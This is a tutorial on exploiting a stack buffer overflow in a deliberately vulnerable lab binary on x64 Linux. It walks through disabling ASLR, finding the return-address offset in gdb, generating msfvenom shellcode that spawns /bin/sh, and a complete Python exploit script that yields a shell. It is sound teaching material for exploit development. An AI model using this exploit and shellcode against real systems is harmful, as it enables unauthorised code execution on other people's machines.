Exploiting buffer overflows on x64 systems introduces new challenges compared to x86. This tutorial covers the key differences and walks through a complete exploit.
Note
Lab Setup This tutorial uses the
vulnerablebinary from the Linux Exploitation Lab (03-overflow-x64/). See the setup guide for build instructions.
- msfvenom: Part of the Metasploit Framework. Install from the official nightly installers.
- Disable ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space(re-enable with value 2 when done)
Key Differences from x86
Register Changes
| x86 | x64 | Purpose |
|---|---|---|
| EIP | RIP | Instruction pointer |
| ESP | RSP | Stack pointer |
| EBP | RBP | Base pointer |
Calling Convention
On x64, the first six arguments are passed in registers:
RDI,RSI,RDX,RCX,R8,R9
Only subsequent arguments go on the stack.
Address Size
Addresses are 8 bytes, but typically only 6 bytes are used (canonical addresses). This affects how we overwrite RIP.
Initial Analysis
Security Check
checksec --file=./vulnerableRELRO STACK CANARY NX PIE
Partial RELRO No canary found NX disabled No PIENo NX means we can execute shellcode on the stack.
Finding the Crash
python3 -c "import sys; sys.stdout.buffer.write(b'A'*100)" | ./vulnerable
# Normal execution
python3 -c "import sys; sys.stdout.buffer.write(b'A'*200)" | ./vulnerable
# Segmentation fault (core dumped)Finding the RIP Offset
Pattern Generation
gdb -q ./vulnerable
gdb-peda$ pattern create 200 input.txt
gdb-peda$ run < input.txtAnalyzing the Crash
RBP: 0x4141724141554141 ('AAUAArAA')
RSP: 0x7fffffffe498 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x4005fa (<vulnerable+68>: ret)Note: RIP wasn’t directly overwritten with pattern bytes. Instead, ret tried to pop an invalid address.
The CPU doesn’t fault when writing the overflowed data to the stack. The crash happens later, when the ret instruction pops a non-canonical address into RIP. This means the overflow itself succeeds silently — you won’t see the invalid address in RIP at the crash point because the CPU faulted before loading it.
Calculating Offset from RBP
Since RIP is one stack position (8 bytes) above RBP:
gdb-peda$ pattern offset 0x4141724141554141
4702165110546055489 found at offset: 160RIP offset = 160 + 8 = 168 bytes
On x64, the saved RBP is 8 bytes and sits between your buffer and the saved return address (RIP). So if your buffer ends N bytes from the saved RBP, the offset to RIP is N + 8 (for the saved RBP).
Verifying with Test Payload
python3 -c "import sys; sys.stdout.buffer.write(b'A'*160 + b'B'*8 + b'C'*8)" > rip.txtgdb-peda$ run < rip.txt
RBP: 0x4242424242424242 ('BBBBBBBB')
RIP: 0x434343434343 ('CCCCCC')Note: Only 6 bytes of ‘C’ appear in RIP (canonical address limitation).
Address Considerations
Check the memory map:
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp ./vulnerable
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp libc
0x00007ffffffde000 0x00007ffffffff000 rwxp [stack]Stack addresses are 6 bytes (start with 0x00007fff). We only need 6 bytes to overwrite RIP.
x64 Stack Layout
The x64 stack frame for the vulnerable function looks like this. Note the 8-byte register widths compared to x86’s 4-byte widths:
High addresses
┌──────────────────────────────┐
│ return address (8 bytes) │ RBP+0x08
├──────────────────────────────┤
│ saved RBP (8 bytes) │ RBP
├──────────────────────────────┤
│ │
│ local buffer[160] │
│ (overflow starts here, │
│ writes toward high addrs) │
│ │
├──────────────────────────────┤
RSP → (top of stack)
Low addressesAfter the overflow, the payload overwrites the saved RBP and return address:
High addresses
┌──────────────────────────────┐
│ 0x00007fffffffe428 │ RBP+0x08
│ (points into NOP sled) │ ← RIP
├──────────────────────────────┤
│ 0x4242424242424242 │ RBP
│ (overwritten saved RBP) │
├──────────────────────────────┤
│ AAAAAAA... padding │
├──────────────────────────────┤
│ shellcode (encoded) │
├──────────────────────────────┤
│ NOP sled: 0x909090... (40B) │
├──────────────────────────────┤
RSP → (top of stack)
Low addressesThe offset from the buffer start to saved RBP is 160 bytes. The saved RBP is 8 bytes, so the total offset to the return address is 168 bytes.
Building the Exploit
Skeleton with INT3
import sys
from struct import pack
buf = b"\xcc"*8 # INT3 breakpoints
payload = b"\x90"*40 # NOP sled
payload += buf
payload += b"A"*(128-len(buf)) # Padding (168 - 40 = 128)
payload += pack("<Q", 0x7fffffffe4a0) # Return to stack
sys.stdout.buffer.write(payload)Finding the Exact Stack Address
After crashing, examine RSP:
gdb-peda$ x/40gx $rsp-0x100
0x7fffffffe420: 0x9090909090909090 0x9090909090909090
0x7fffffffe430: 0x9090909090909090 0x9090909090909090
0x7fffffffe440: 0x9090909090909090 0xfffae98148c93148NOPs start at 0x7fffffffe420. Add 8 for safety: 0x7fffffffe428
Generating Shellcode
msfvenom -p linux/x64/exec cmd=/bin/sh -f python -b "\x00\x0a"The -b flag specifies bad characters — bytes that would break the exploit if present in the shellcode. Common bad characters include \x00 (null, terminates strings), \x0a (newline), and \x0d (carriage return). msfvenom encodes the shellcode to avoid these bytes.
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\xa5\x8d\x9f\xff\x13\xce\xa9"
buf += b"\xd5\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\xed\x35\xb0\x9d\x7a\xa0\x86\xa6\xcd\x8d\x06\xaf\x47"
buf += b"\x91\xfb\xb3\xcd\xa0\xfc\xab\x4d\x9c\x41\xdd\xa5\x8d"
buf += b"\x9f\xd0\x71\xa7\xc7\xfa\xd6\xe5\x9f\xa9\x44\x9a\xf7"
buf += b"\xbf\x9e\xd5\x90\xfa\x13\xce\xa9\xd5"Complete Exploit
#!/usr/bin/env python3
import sys
from struct import pack
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\xa5\x8d\x9f\xff\x13\xce\xa9"
buf += b"\xd5\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\xed\x35\xb0\x9d\x7a\xa0\x86\xa6\xcd\x8d\x06\xaf\x47"
buf += b"\x91\xfb\xb3\xcd\xa0\xfc\xab\x4d\x9c\x41\xdd\xa5\x8d"
buf += b"\x9f\xd0\x71\xa7\xc7\xfa\xd6\xe5\x9f\xa9\x44\x9a\xf7"
buf += b"\xbf\x9e\xd5\x90\xfa\x13\xce\xa9\xd5"
payload = b"\x90"*40 # NOP sled
payload += buf # Shellcode
payload += b"A"*(128-len(buf)) # Padding
payload += pack("<Q", 0x7fffffffe428) # Return address
sys.stdout.buffer.write(payload)Save the exploit output to a file: python3 exploit.py > exploit.txt
Exploiting Outside GDB
Stack addresses differ outside the debugger due to environment variables.
Generate Core Dump
rm core
ulimit -c unlimited
cat exploit.txt | ./vulnerableAnalyze Core
gdb -q ./vulnerable ./coregdb-peda$ x/40gx $rsp-0x100
0x7fffffffe420: 0x0000000000000000 0x00007ffff7ffe168
0x7fffffffe430: 0x0000000000000001 0x00000000004005f8
0x7fffffffe440: 0x9090909090909090 0x9090909090909090NOPs are now at 0x7fffffffe440. Update the return address.
Final Exploit
payload += pack("<Q", 0x7fffffffe448) # Adjusted address(cat exploit.txt; cat) | ./vulnerable
id
uid=1000(user) gid=1000(user) groups=1000(user)Using struct.pack for x64
For 64-bit values, use the Q format specifier:
from struct import pack
# 64-bit little-endian
addr = pack("<Q", 0x7fffffffe428)
# Compare to 32-bit
# addr = pack("<L", 0xbffff2c0) # x86Debugging Tips
Examining Memory
gdb-peda$ x/40gx $rsp-0x100 # 8-byte (giant) words
gdb-peda$ x/40wx $rsp-0x100 # 4-byte words (x86 style)Checking Registers
gdb-peda$ info registersSetting Breakpoints on Instructions
gdb-peda$ break *vulnerable+68 # Break at ret instructionCommon Issues
6-byte vs 8-byte Addresses
Stack addresses only use 6 bytes. When packing with <Q, the upper 2 bytes will be null. This works because:
- Null bytes terminate the overwrite cleanly
- The return address is at the end of our payload
Stack Alignment
x64 requires 16-byte stack alignment for some operations. If your exploit crashes in library functions, check alignment.
Canonical Addresses
On x64, only the lower 48 bits of an address are used. The CPU requires bits 48-63 to be copies of bit 47 (sign extension). Addresses that violate this rule — like 0x4141414141414141 — trigger a General Protection Fault before the CPU even attempts to access memory. This is why you can’t simply overwrite RIP with arbitrary values as you can on x86.
Valid user-space addresses must have bits 48-63 equal to bit 47. Addresses like 0x00007fffffffe428 are valid; 0x0000ffffffffffff is not.